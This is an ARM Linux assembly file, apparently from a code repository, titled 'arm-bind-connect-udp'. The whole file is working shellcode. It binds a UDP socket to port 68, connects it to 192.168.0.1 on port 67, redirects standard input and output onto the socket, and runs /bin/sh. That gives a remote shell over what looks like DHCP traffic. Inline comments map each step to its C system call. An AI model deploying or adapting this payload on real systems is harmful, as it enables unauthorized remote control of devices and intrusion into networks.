118 lines
2.4 KiB
ArmAsm
Executable file
118 lines
2.4 KiB
ArmAsm
Executable file
/*
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* Title: arm-bind-connect-udp
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* Brief: Bind to port 68 on any local address and plug a udp shell
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* onto to port 67 on 192.168.0.1
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* Author: Daniel Godas-Lopez <gmail account dgodas>
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*/
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.if 1
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/*
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close(3), close(4), ..., close(1024)
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*/
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mov %r1, $1024
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1: mov %r0, %r1
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svc 0x00900006
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subs %r1, %r1, $1
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subs %r2, %r1, $3
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bpl 1b
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.endif
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/*
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soc_des = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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*/
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mov %r0, $2 /* AF_INET */
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mov %r1, $2 /* SOCK_DGRAM */
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mov %r2, $17 /* IPPRTOTO_UDP */
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push {%r0, %r1, %r2}
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mov %r0, $1 /* socket */
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mov %r1, %sp
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svc 0x00900066
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add %sp, %sp, $12
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mov %r6, %r0 /* r6 = soc_des */
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/*
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bind(soc_des, (struct sockaddr*) &serv_addr, sizeof(serv_addr));
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*/
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.if 0 /* r0 == r6 already */
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mov %r0, %r6 /* soc_des */
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.endif
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mov %r1, $0x44000000
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add %r1, $2 /* port = 68, family = 2 (AF_INET) */
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sub %r2, %r2, %r2 /* addr = 0.0.0.0 */
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push {%r1, %r2}
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mov %r1, %sp /* pointer to sockaddr_in */
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mov %r2, $16 /* sizeof(struct sockaddr_in) */
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push {%r0, %r1, %r2}
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mov %r0, $2 /* bind */
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mov %r1, %sp
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svc 0x00900066
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add %sp, %sp, $20
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/*
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connect(soc_des, (struct sockaddr*) &cli_addr, sizeof(cli_addr));
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*/
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mov %r0, %r6 /* soc_des */
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mov %r1, $0x43000000
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add %r1, $2 /* port = 67, family = 2 (AF_INET) */
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mov %r2, $0x1000000
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add %r2, %r2, $0xa800
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add %r2, $0xc0 /* addr = 192.168.0.1 */
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push {%r1, %r2}
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mov %r1, %sp /* pointer to sockaddr_in */
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mov %r2, $16 /* sizeof(struct sockaddr_in) */
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push {%r0, %r1, %r2}
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mov %r0, $3 /* connect */
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mov %r1, %sp
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svc 0x00900066
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add %sp, %sp, $20
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/*
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dup2(soc_cli,0);
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dup2(soc_cli,1);
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dup2(soc_cli,2);
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*/
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mov %r1, $2
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1: mov %r0, %r6
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svc 0x0090003f
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subs %r1, %r1, $1
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bpl 1b
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/*
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execve("/bin/sh", parms, env);
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*/
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sub %r1, %sp, $4 /* argv[0] = "sh" */
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sub %r2, %r2, %r2 /* argv[1] = 0x00000000 */
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mov %r3, $0x2f
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mov %r7, $0x62
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add %r3, %r7, lsl $8
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mov %r7, $0x69
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add %r3, %r7, lsl $16
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mov %r7, $0x6e
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add %r3, %r7, lsl $24 /* '/' 'b' 'i' 'n' */
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mov %r4, $'/'
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mov %r7, $'s'
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add %r4, %r7, lsl $8
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mov %r7, $'h'
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add %r4, %r7, lsl $16 /* '/' 's' 'h' 0x00 */
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mov %r5, $'s'
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mov %r7, $'h'
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add %r5, %r7, lsl $8 /* 's' 'h' 0x00 0x00 */
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push {%r1, %r2, %r3, %r4, %r5}
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add %r0, %sp, $8 /* filename ptr */
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add %r1, %sp, $0 /* argv ptr */
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add %r2, %sp, $4 /* env ptr */
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svc 0x0090000b
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